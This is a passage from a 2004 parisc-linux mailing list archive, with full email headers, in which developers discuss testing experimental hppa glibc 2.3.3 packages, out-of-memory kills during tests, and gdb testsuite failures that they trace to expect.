	Fri, 24 Sep 2004 12:28:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00819-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 12:28:58 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 490B03BE27
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 12:28:58 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 9CCDC4946C1; Fri, 24 Sep 2004 12:28:57 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by palinux.hppa (Postfix) with ESMTP id 90BBB4940DD
	for <parisc-linux@parisc-linux.org>;
	Fri, 24 Sep 2004 12:28:55 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C4405CD28A; Fri, 24 Sep 2004 11:28:50 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <4152E882000003C7@mail-7-bnl.tiscali.it>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24936

> Well, I test the 2.6.9-rc2-pa7 with slab debug (before Matthew added sys
> call) and build this kernel in a loop (now about 30 loop) without pb just
> numerous:
> applying fixup for 0x10124d08, fixup at 0x10469a68
> applying fixup for 0x10124d08, fixup at 0x10469a68

this is just a debug message. i've removed it from the latest codebase.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa glibc 2.3.3 experimental debs - patches
	posted
Date: Fri, 24 Sep 2004 16:19:21 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20040924201920.GY27033@baldric.uwo.ca>
References: <20040924132313.GU27033@baldric.uwo.ca>
	<4152E882000003B7@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624482 25874 80.91.229.3 (22 Nov 2014 02:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17479 invoked by uid 65534); 24 Sep 2004 20:20:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 24 Sep 2004 22:20:19 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4FA9A3BE34; Fri, 24 Sep 2004 14:19:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00819-10; Fri, 24 Sep 2004 14:19:51 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 466493BE3A; Fri, 24 Sep 2004 14:19:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA5533BE34
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 14:19:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00819-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 14:19:25 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4EFC53BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 14:19:25 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id DB5CA494749; Fri, 24 Sep 2004 14:19:24 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id 7F246494748
	for <parisc-linux@parisc-linux.org>;
	Fri, 24 Sep 2004 14:19:24 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CAwXJ-0007k4-00; Fri, 24 Sep 2004 16:19:21 -0400
Content-Disposition: inline
In-Reply-To: <4152E882000003B7@mail-7-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24937

> Increasing memory pressure before PASS 2.
> Out of Memory: Killed process 5634 (test-lws).
> Out of Memory: Killed process 5641 (test-lws).
> Terminated

You may want to tweak the allocation heuristics here so that it doesn't
kill the process.
 
> (unfortunately anoying network pb didn't allow me to do more; I will try
> on next Monday test-waitid or I you foreseen some more dedicated test I
> would better to do (as a make -k check of the lib,... ? )

make -k check for libc would be good.
I also recommend building gdb to see if had regressions.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3 experimental debs - patches
	posted
Date: Fri, 24 Sep 2004 16:03:31 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20040924230331.GC22642@tausq.org>
References: <20040924132313.GU27033@baldric.uwo.ca>
	<4152E882000003B7@mail-7-bnl.tiscali.it>
	<20040924201920.GY27033@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624483 25879 80.91.229.3 (22 Nov 2014 02:48:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19150 invoked by uid 65534); 24 Sep 2004 23:04:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 25 Sep 2004 01:04:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B84853BE27; Fri, 24 Sep 2004 17:04:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03891-02; Fri, 24 Sep 2004 17:04:03 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C9E2E3BE3A; Fri, 24 Sep 2004 17:03:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47CA33BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 17:03:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03255-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 17:03:33 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0C1563BE27
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 17:03:33 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 95081494749; Fri, 24 Sep 2004 17:03:32 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by palinux.hppa (Postfix) with ESMTP id 2B911494748
	for <parisc-linux@parisc-linux.org>;
	Fri, 24 Sep 2004 17:03:32 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id DD7AECD28A; Fri, 24 Sep 2004 16:03:31 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040924201920.GY27033@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24938

> I also recommend building gdb to see if had regressions.

for some reason, i cannot run the gdb testsuite. the failures look
weird:

Executing on host: as ../../../gdb-cvs/gdb/testsuite/gdb.asm/asmsrc1.s -I../../../gdb-cvs/gdb/testsuite/gdb.asm -I/home/tausq/gdb/build-cvs/gdb/testsuite/gdb.asm -gdwarf2 -o asmsrc1.o    (timeout = 300)
spawn as ../../../gdb-cvs/gdb/testsuite/gdb.asm/asmsrc1.s -I../../../gdb-cvs/gdb/testsuite/gdb.asm -I/home/tausq/gdb/build-cvs/gdb/testsuite/gdb.asm -gdwarf2 -o asmsrc1.o
assembler exited with status -1
assembler output is:
spawn failed
WARNING: Testcase compile failed, so all tests in this file will automatically fail.

if i run the "as" command manually it seems to work.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (hppa glibc 2.3.3 exp.) Recompile expect,
	then run gdb tests with new expect?
Date: Sat, 25 Sep 2004 08:37:54 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20040925123745.GZ27033@baldric.uwo.ca>
References: <20040924132313.GU27033@baldric.uwo.ca>
	<4152E882000003B7@mail-7-bnl.tiscali.it>
	<20040924201920.GY27033@baldric.uwo.ca>
	<20040924230331.GC22642@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624483 25886 80.91.229.3 (22 Nov 2014 02:48:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17543 invoked by uid 65534); 25 Sep 2004 12:39:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 25 Sep 2004 14:39:25 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D1A383BDDB; Sat, 25 Sep 2004 06:39:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10547-08; Sat, 25 Sep 2004 06:39:12 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B281F3BE3A; Sat, 25 Sep 2004 06:38:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6C643BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Sep 2004 06:38:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09772-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Sep 2004 06:38:36 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6E5AE3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Sep 2004 06:38:36 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6FF4F494736; Sat, 25 Sep 2004 06:38:33 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id B0F81494734
	for <parisc-linux@parisc-linux.org>;
	Sat, 25 Sep 2004 06:38:31 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CBBoJ-000228-00; Sat, 25 Sep 2004 08:37:55 -0400
Content-Disposition: inline
In-Reply-To: <20040924230331.GC22642@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24939

On Fri, Sep 24, 2004 at 04:03:31PM -0700, Randolph Chung wrote:
> > I also recommend building gdb to see if had regressions.
> 
> for some reason, i cannot run the gdb testsuite. the failures look
> weird:
> 
> Executing on host: as ../../../gdb-cvs/gdb/testsuite/gdb.asm/asmsrc1.s -I../../../gdb-cvs/gdb/testsuite/gdb.asm -I/home/tausq/gdb/build-cvs/gdb/testsuite/gdb.asm -gdwarf2 -o asmsrc1.o    (timeout = 300)
> spawn as ../../../gdb-cvs/gdb/testsuite/gdb.asm/asmsrc1.s -I../../../gdb-cvs/gdb/testsuite/gdb.asm -I/home/tausq/gdb/build-cvs/gdb/testsuite/gdb.asm -gdwarf2 -o asmsrc1.o
> assembler exited with status -1
> assembler output is:
> spawn failed
> WARNING: Testcase compile failed, so all tests in this file will automatically fail.
> 
> if i run the "as" command manually it seems to work.

I think something is broken with expect. Kernel builds seem to progress
well. I'm running a glibc build right now to see if we pickup any
regressions.

If you have a couple of free minutes could you see if you can test
that expect works separately?

I might even recommend rebuilding expect under the new libc and see if
that helps. I'm not saying that this is a solution, but rather that
we might have some slightly incompatible changes somewhere. Perhaps some
behaviour that is *allowed* to change that expect relied upon.

c.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa glibc 2.3.3 experimental debs - patches
	posted
Date: Sat, 25 Sep 2004 08:39:00 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20040925123859.GA27033@baldric.uwo.ca>
References: <20040924132313.GU27033@baldric.uwo.ca>
	<4152E882000003B7@mail-7-bnl.tiscali.it>
	<20040924201920.GY27033@baldric.uwo.ca>
	<4155428C.2060109@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624483 25888 80.91.229.3 (22 Nov 2014 02:48:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14302 invoked by uid 65534); 25 Sep 2004 12:40:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 25 Sep 2004 14:40:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 34E373BE3A; Sat, 25 Sep 2004 06:40:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11223-05; Sat, 25 Sep 2004 06:40:09 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DB27B3BE48; Sat, 25 Sep 2004 06:39:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FA3C3BE3A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Sep 2004 06:39:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11209-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Sep 2004 06:39:35 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EC28A3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Sep 2004 06:39:34 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8656B494736; Sat, 25 Sep 2004 06:39:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id F208F494734
	for <parisc-linux@parisc-linux.org>;
	Sat, 25 Sep 2004 06:39:33 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CBBpM-00024l-00; Sat, 25 Sep 2004 08:39:00 -0400
Content-Disposition: inline
In-Reply-To: <4155428C.2060109@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24940

> >make -k check for libc would be good.
> >I also recommend building gdb to see if had regressions.
> >
> The deb src enough?

I recommend upstream cvs.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (hppa glibc 2.3.3 exp.) Recompile expect, then run
Date: Sat, 25 Sep 2004 11:16:38 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200409251516.i8PFGcog005801@hiauly1.hia.nrc.ca>
References: <20040925123745.GZ27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624484 25892 80.91.229.3 (22 Nov 2014 02:48:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16347 invoked by uid 65534); 25 Sep 2004 15:17:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 25 Sep 2004 17:17:34 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BEC9B3BE43; Sat, 25 Sep 2004 09:17:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11778-09; Sat, 25 Sep 2004 09:17:32 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 128E83BE49; Sat, 25 Sep 2004 09:17:16 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C2B53BE3C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Sep 2004 09:17:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11387-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Sep 2004 09:17:12 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DF1773BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Sep 2004 09:17:11 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 97C11494737; Sat, 25 Sep 2004 09:17:11 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
